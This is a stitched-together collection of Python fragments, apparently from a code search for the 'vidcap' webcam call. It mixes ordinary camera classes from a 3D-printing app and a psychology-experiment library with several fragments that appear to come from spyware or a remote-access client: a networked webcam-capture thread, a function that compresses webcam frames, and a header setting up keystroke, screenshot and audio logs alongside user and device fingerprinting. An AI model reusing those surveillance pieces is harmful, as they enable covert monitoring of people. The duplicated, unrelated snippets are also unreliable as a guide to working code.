def __init__(self,server_ip,port,buf_size):
self.host = server_ip
self.port = port
self.tcp_buf_len = buf_size
self.addr = (self.host ,self.port)
threading.Thread.__init__(self)
self.dev = vidcap.new_Dev( 1, False )
def check_webcam():
try:
import vidcap
cam = vidcap.new_Dev(0, 0)
cam.getdisplayname()
del cam
return True
except:
return False
def webcam_shot():
try:
cam = vidcap.new_Dev(0, 0)
buff, width, height = cam.getbuffer()
return str({
'webcambits': zlib.compress(buff),
'width': width,
'height': height,
})
except:
return
def webcam_shot():
try:
cam = vidcap.new_Dev(0, 0)
buff, width, height = cam.getbuffer()
return str({
'webcambits': zlib.compress(buff),
'width': width,
'height': height,
})
except:
return
def __init__(self): self._cam = None if cv != None: self._cam = highgui.cvCreateCameraCapture(-1) elif win32vidcap != None: try: self._cam = win32vidcap.new_Dev(0, False) except: pass self._doTimelaps = False self._bitmap = None
def __init__(self):
if cv != None:
self._cam = highgui.cvCreateCameraCapture(-1)
elif win32vidcap != None:
self._cam = win32vidcap.new_Dev(0, False)
#self._cam.displaycapturefilterproperties()
#self._cam.displaycapturepinproperties()
else:
raise exception("No camera implementation available")
self._doTimelaps = False
self._bitmap = None
def __init__(self):
if cv != None:
self._cam = highgui.cvCreateCameraCapture(-1)
elif win32vidcap != None:
self._cam = win32vidcap.new_Dev(0, False)
#self._cam.displaycapturefilterproperties()
#self._cam.displaycapturepinproperties()
else:
raise exception("No camera implementation available")
self._doTimelaps = False
self._bitmap = None
def __init__(self, devnum=0, showVideoWindow=0):
"""devnum: VideoCapture enumerates the available video capture devices
on your system. If you have more than one device, specify
the desired one here. The device number starts from 0.
showVideoWindow: 0 ... do not display a video window (the default)
1 ... display a video window
Mainly used for debugging, since the video window
can not be closed or moved around.
"""
self.dev = vidcap.new_Dev(devnum, showVideoWindow)
def __init__(self):
self._cam = None
self._overlayImage = toolbarUtil.getBitmapImage("cura-overlay.png")
self._overlayUltimaker = toolbarUtil.getBitmapImage("ultimaker-overlay.png")
if cv != None:
self._cam = highgui.cvCreateCameraCapture(-1)
elif win32vidcap != None:
try:
self._cam = win32vidcap.new_Dev(0, False)
except:
pass
self._doTimelaps = False
self._bitmap = None
def __init__(self):
self._cam = None
self._overlayImage = wx.Bitmap(getPathForImage('cura-overlay.png'))
self._overlayUltimaker = wx.Bitmap(getPathForImage('ultimaker-overlay.png'))
if cv != None:
self._cam = highgui.cvCreateCameraCapture(-1)
elif win32vidcap != None:
try:
self._cam = win32vidcap.new_Dev(0, False)
except:
pass
self._doTimelaps = False
self._bitmap = None
def openPropertyPage(self, pageType=0): if self._cam == None: return if cv != None: pass elif win32vidcap != None: if pageType == 0: self._cam.displaycapturefilterproperties() else: del self._cam self._cam = None tmp = win32vidcap.new_Dev(0, False) tmp.displaycapturepinproperties() self._cam = tmp
def openPropertyPage(self, pageType=0):
if self._cam == None:
return
if cv != None:
pass
elif win32vidcap != None:
if pageType == 0:
self._cam.displaycapturefilterproperties()
else:
del self._cam
self._cam = None
tmp = win32vidcap.new_Dev(0, False)
tmp.displaycapturepinproperties()
self._cam = tmp
def __init__(self, devnum=0, size=_DEFAULT_SIZE, color=False):
"""devnum: VideoCapture enumerates the available video capture devices
on your system. If you have more than one device, specify
the desired one here. The device number starts from 0.
size: Size of the visualisator of the capture device.
"""
### Setting up the Camera ###
try:
self.dev = vidcap.new_Dev(devnum, 0)
except:
return None
### Methods Redirection ###
self.displayCaptureFilterProperties = self.dev.displaycapturefilterproperties
self.displayCapturePinProperties = self.dev.displaycapturepinproperties
self.displayPropertyPage = self.dev.displaypropertypage
self.setResolution = self.dev.setresolution
self.getBuffer = self.dev.getbuffer
### End Redirections ###
### Fields definition ###
self.color = color
self.alive = True
self.size = size
self.master = Tkinter.Tk()
self.master.resizable(False, False)
self.master.title("Camera N-%d" % (devnum))
self.can = Tkinter.Canvas(self.master,
width=size[0],
height=size[1],
bg="black")
self.can.pack()
self.img = ImageTk.Image.new("RGB", size, 0)
self.photo = ImageTk.PhotoImage(self.img, self.size, master=self.can)
self.id = self.can.create_image(size[0] / 2 + 1,
size[1] / 2 + 1,
image=self.photo)
self.nb_image = 0
self.current_image = 0
self.devnum = devnum
self.master.wm_protocol("WM_DELETE_WINDOW", self.term)
self.master.bind("<Alt-F>", self.displayCaptureFilterProperties)
self.master.bind("<Alt-f>", self.displayCaptureFilterProperties)
self.master.bind("<Alt-P>", self.displayCapturePinProperties)
self.master.bind("<Alt-p>", self.displayCapturePinProperties)
self.master.bind("<Escape>", self.term)
self.mainloop = self.can.mainloop
def __init__(self):
self._cam = None
self._overlayImage = toolbarUtil.getBitmapImage("cura-overlay.png")
self._overlayUltimaker = toolbarUtil.getBitmapImage(
"ultimaker-overlay.png")
if cv != None:
self._cam = highgui.cvCreateCameraCapture(-1)
elif win32vidcap != None:
try:
self._cam = win32vidcap.new_Dev(0, False)
except:
pass
self._doTimelaps = False
self._bitmap = None
def __init__(self):
self._cam = None
self._overlayImage = wx.Bitmap(getPathForImage('cura-overlay.png'))
self._overlayUltimaker = wx.Bitmap(
getPathForImage('ultimaker-overlay.png'))
if cv != None:
self._cam = highgui.cvCreateCameraCapture(-1)
elif win32vidcap != None:
try:
self._cam = win32vidcap.new_Dev(0, False)
except:
pass
self._doTimelapse = False
self._bitmap = None
def __init__(self, devnum=0, showVideoWindow=0):
"""devnum: VideoCapture enumerates the available video capture devices
on your system. If you have more than one device, specify
the desired one here. The device number starts from 0.
showVideoWindow: 0 ... do not display a video window (the default)
1 ... display a video window
Mainly used for debugging, since the video window
can not be closed or moved around.
"""
self.dev = vidcap.new_Dev(devnum, showVideoWindow)
self.normalfont = ImageFont.load_path('C:\Python27\helvetica-10.pil')
self.boldfont = ImageFont.load_path('C:\Python27\helvB08.pil')
self.font = None
def __init__(self, devnum=0, showVideoWindow=0):
"""devnum: VideoCapture enumerates the available video capture devices
on your system. If you have more than one device, specify
the desired one here. The device number starts from 0.
showVideoWindow: 0 ... do not display a video window (the default)
1 ... display a video window
Mainly used for debugging, since the video window
can not be closed or moved around.
"""
self.dev = vidcap.new_Dev(devnum, showVideoWindow)
self.normalfont = ImageFont.load_path('helvetica-10.pil')
self.boldfont = ImageFont.load_path('helvB08.pil')
self.font = None
def _openCam(self): if self._cameraList is not None and self._camId >= len(self._cameraList): return False if self._cam is not None: if self._activeId != self._camId: del self._cam self._cam = None else: return True self._activeId = self._camId if cv is not None: self._cam = highgui.cvCreateCameraCapture(self._camId) elif win32vidcap is not None: try: self._cam = win32vidcap.new_Dev(self._camId, False) except: pass return self._cam is not None
def _openCam(self): if self._cameraList is not None and self._camId >= len(self._cameraList): return False if self._cam is not None: if self._activeId != self._camId: del self._cam self._cam = None else: return True self._activeId = self._camId if cv is not None: self._cam = highgui.cvCreateCameraCapture(self._camId) elif win32vidcap is not None: try: self._cam = win32vidcap.new_Dev(self._camId, False) except: pass return self._cam is not None
def available_devices():
"""Returns a list of available devices; these names and/or numbers can
be passed directly as the dev keyword argument of the Webcam class
arguments
None
keyword arguments
None
returns
devlist -- a list of available device names and/or numbers,
than can be used as the dev keyword argument for
the Webcam class
"""
# first, we try using PyGame
try:
devlist = pygame.camera.list_cameras()
# if this fails, we try vidcap (only works on Windows)
except:
if sys.platform == 'win32':
# loop through 100 numbers (0-99) and see if they work
devlist = []
for i in range(100):
# try if this device number works
try:
dev = vidcap.new_Dev(i, 0) # new device
devlist.append(i) # add dev nr to list
del dev # delete device again
# if the device number does not work, simply do nothing
except:
pass
# if PyGame did not work and we're not on Windows, raise exception
else:
raise Exception(
"Error in libwebcam.available_devices: could not use PyGame or vidcap to find devices!"
)
return devlist
def available_devices():
"""Returns a list of available devices; these names and/or numbers can
be passed directly as the dev keyword argument of the Webcam class
arguments
None
keyword arguments
None
returns
devlist -- a list of available device names and/or numbers,
than can be used as the dev keyword argument for
the Webcam class
"""
# first, we try using PyGame
try:
devlist = pygame.camera.list_cameras()
# if this fails, we try vidcap (only works on Windows)
except:
if sys.platform == 'win32':
# loop through 100 numbers (0-99) and see if they work
devlist = []
for i in range(100):
# try if this device number works
try:
dev = vidcap.new_Dev(i, 0) # new device
devlist.append(i) # add dev nr to list
del dev # delete device again
# if the device number does not work, simply do nothing
except:
pass
# if PyGame did not work and we're not on Windows, raise exception
else:
raise Exception("Error in libwebcam.available_devices: could not use PyGame or vidcap to find devices!")
return devlist
client_version = '1.0'
os_type = str(sys.platform)
os_name = str(platform.platform())
os_user = os.path.expanduser('~').split('\\')[-1]
KEY_LOGS = {}
SCREENSHOT_LOGS = {}
AUDIO_LOGS = {}
CURRENT_WINDOW_TITLE = None
uppercase = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
try:
import vidcap
cam = vidcap.new_Dev(0, 0)
web_camera_input = str(cam.getdisplayname())
del cam
except:
web_camera_input = 'NoDevice'
try:
import pyaudio
p = pyaudio.PyAudio()
device_name = p.get_default_input_device_info()
del p
audio_input = device_name['name']
except:
audio_input = 'NoDevice'
# Init Winapi
client_version = '1.0'
os_type = str(sys.platform)
os_name = str(platform.platform())
os_user = os.path.expanduser('~').split('\\')[-1]
KEY_LOGS = {}
SCREENSHOT_LOGS = {}
AUDIO_LOGS = {}
CURRENT_WINDOW_TITLE = None
uppercase = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
try:
import vidcap
cam = vidcap.new_Dev(0, 0)
web_camera_input = str(cam.getdisplayname())
del cam
except:
web_camera_input = 'NoDevice'
try:
import pyaudio
p = pyaudio.PyAudio()
device_name = p.get_default_input_device_info()
del p
audio_input = device_name['name']
except:
audio_input = 'NoDevice'
# Init Winapi
def __init__(self, devnum=0, showVideoWindow=0):
self.dev = vidcap.new_Dev(devnum, showVideoWindow)
def __init__(self):
try:
self.cam = vidcap.new_Dev(0, 0)
except:
pass
def __init__(self, devnum=0, showVideoWindow=0):
self.dev = vidcap.new_Dev(devnum, showVideoWindow)
def __init__(self, devnum=0):
self.dev = vidcap.new_Dev(devnum, 0)
def __init__(self,
disptype=DISPTYPE,
dev=None,
devtype='pygame',
resolution=(640, 480),
verflip=False,
horflip=False):
"""Initializes a Camera instance
arguments
None
keyword arguments
disptype -- string indicating the display type: either
'pygame' or 'psychopy' (default = DISPTYPE)
dev -- number or name of the webcam that should be
accessed (e.g. 0 or '/dev/video0') or None
to use the first available (default = None)
devtype -- string indicating the device backend you
want to use; should be either 'pygame' or
'vidcap'; note that vidcap only works on
Windows! (default = 'pygame')
resolution -- preferred resolution of the webcam images
(default = (640,480))
verflip -- Boolean indicating if images should be
flipped vertically (default = False)
horflip -- Boolean indicating if images should be
flipped horizontally (default = False)
"""
# # # # #
# check device type and do some trouble shooting
# check if devtype is a valid back-end
if devtype not in ['vidcap', 'pygame']:
raise Exception(
"Error in libwebcam.Camera.__init__: devtype '%s' is not supported, use 'pygame' or 'vidcap'"
% devtype)
# vidcap trouble shooting
elif devtype == 'vidcap':
if sys.platform != 'win32':
raise Exception(
"Error in libwebcam.Camera.__init__: devtype '%s' is not available on your system '%s' (only on Windows)"
% (devtype, sys.platform))
if not vidimp:
raise Exception(
"Error in libwebcam.Camera.__init__: devtype '%s' is not available because vidcap could not be imported (have you installed it correctly?)"
% devtype)
if not pilimgimp:
raise Exception(
"Error in libwebcam.Camera.__init__: devtype '%s' is not available because PIL's Image module could not be imported (vidcap back-end depends on this)"
% devtype)
# pygame trouble shooting
elif devtype == 'pygame':
if not pgcamimp:
raise Exception(
"Error in libwebcam.Camera.__init__: devtype '%s' is not available; could not import and initialize PyGame camera module!"
% devtype)
if not pgimgimp:
raise Exception(
"Error in libwebcam.Camera.__init__: devtype '%s' is not available; could not import PyGame image module!"
% devtype)
if disptype == 'psychopy' and not pilimgimp:
raise Exception(
"Error in libwebcam.Camera.__init__: disptype '%s' is not available; could not import PIL Image module (psycho disptype depends on this)!"
% disptype)
# if we survived all the trouble shooting, finally set the devtype property
self.devtype = devtype
# # # # #
# do actual initialization
# properties
self.disptype = disptype
self.devname = dev
self.camres = resolution
self.horflip = horflip
self.verflip = verflip
self.flipnr = -1
self.img = Image.new('RGB', self.camres, 'black')
# autodetect device
if self.devname == None:
try:
self.devname = available_devices()[0]
except:
raise Exception(
"Error in libwebcam.Camera.__init__: no webcam devices available!"
)
# check if device is available
if not self.devname in available_devices():
# if not, raise Exception
raise Exception(
"Error in libwebcam.Camera.__init__: webcam %s is not available!"
% self.devname)
# create device
if self.devtype == 'vidcap':
# initialize camera device
self.dev = vidcap.new_Dev(
self.devname, 0
) # first argument: devnr; second argument: Boolean indicating if camimages should be displayed on separate window (e.g. for debugging purposes)
self.dev.setresolution(self.camres[0], self.camres[1])
# # check if resolution is correct
# buff, width, height = self.dev.getbuffer()
# if not self.camres == (width,height):
# print("WARNING in libwebcam.Camera.__init__: requested resolution %s is not available; device actual resolution of (%d,%d) will be used" % (self.camres,width,height))
# self.camres = (width,height)
else:
self.dev = pygame.camera.Camera(self.devname, self.camres, 'RGB')
self.dev.start()
# set image flipping
self.set_imgflip(verflip=self.verflip, horflip=self.horflip)
def __init__(self, disptype=settings.DISPTYPE, dev=None, devtype='pygame',
resolution=(640,480), verflip=False, horflip=False):
"""Initializes a Camera instance
arguments
None
keyword arguments
disptype -- string indicating the display type: either
'pygame' or 'psychopy' (default = DISPTYPE)
dev -- number or name of the webcam that should be
accessed (e.g. 0 or '/dev/video0') or None
to use the first available (default = None)
devtype -- string indicating the device backend you
want to use; should be either 'pygame' or
'vidcap'; note that vidcap only works on
Windows! (default = 'pygame')
resolution -- preferred resolution of the webcam images
(default = (640,480))
verflip -- Boolean indicating if images should be
flipped vertically (default = False)
horflip -- Boolean indicating if images should be
flipped horizontally (default = False)
"""
# # # # #
# check device type and do some trouble shooting
# check if devtype is a valid back-end
if devtype not in ['vidcap','pygame']:
raise Exception("Error in libwebcam.Camera.__init__: devtype '%s' is not supported, use 'pygame' or 'vidcap'" % devtype)
# vidcap trouble shooting
elif devtype == 'vidcap':
if sys.platform != 'win32':
raise Exception("Error in libwebcam.Camera.__init__: devtype '%s' is not available on your system '%s' (only on Windows)" % (devtype,sys.platform))
if not vidimp:
raise Exception("Error in libwebcam.Camera.__init__: devtype '%s' is not available because vidcap could not be imported (have you installed it correctly?)" % devtype)
if not pilimgimp:
raise Exception("Error in libwebcam.Camera.__init__: devtype '%s' is not available because PIL's Image module could not be imported (vidcap back-end depends on this)" % devtype)
# pygame trouble shooting
elif devtype == 'pygame':
if not pgcamimp:
raise Exception("Error in libwebcam.Camera.__init__: devtype '%s' is not available; could not import and initialize PyGame camera module!" % devtype)
if not pgimgimp:
raise Exception("Error in libwebcam.Camera.__init__: devtype '%s' is not available; could not import PyGame image module!" % devtype)
if disptype == 'psychopy' and not pilimgimp:
raise Exception("Error in libwebcam.Camera.__init__: disptype '%s' is not available; could not import PIL Image module (psycho disptype depends on this)!" % disptype)
# if we survived all the trouble shooting, finally set the devtype property
self.devtype = devtype
# # # # #
# do actual initialization
# properties
self.disptype = disptype
self.devname = dev
self.camres = resolution
self.horflip = horflip
self.verflip = verflip
self.flipnr = -1
self.img = Image.new('RGB',self.camres,'black')
# autodetect device
if self.devname == None:
try:
self.devname = available_devices()[0]
except:
raise Exception("Error in libwebcam.Camera.__init__: no webcam devices available!")
# check if device is available
if not self.devname in available_devices():
# if not, raise Exception
raise Exception("Error in libwebcam.Camera.__init__: webcam %s is not available!" % self.devname)
# create device
if self.devtype == 'vidcap':
# initialize camera device
self.dev = vidcap.new_Dev(self.devname, 0) # first argument: devnr; second argument: Boolean indicating if camimages should be displayed on separate window (e.g. for debugging purposes)
self.dev.setresolution(self.camres[0], self.camres[1])
# # check if resolution is correct
# buff, width, height = self.dev.getbuffer()
# if not self.camres == (width,height):
# print("WARNING in libwebcam.Camera.__init__: requested resolution %s is not available; device actual resolution of (%d,%d) will be used" % (self.camres,width,height))
# self.camres = (width,height)
else:
self.dev = pygame.camera.Camera(self.devname, self.camres, 'RGB')
self.dev.start()
# set image flipping
self.set_imgflip(verflip=self.verflip, horflip=self.horflip)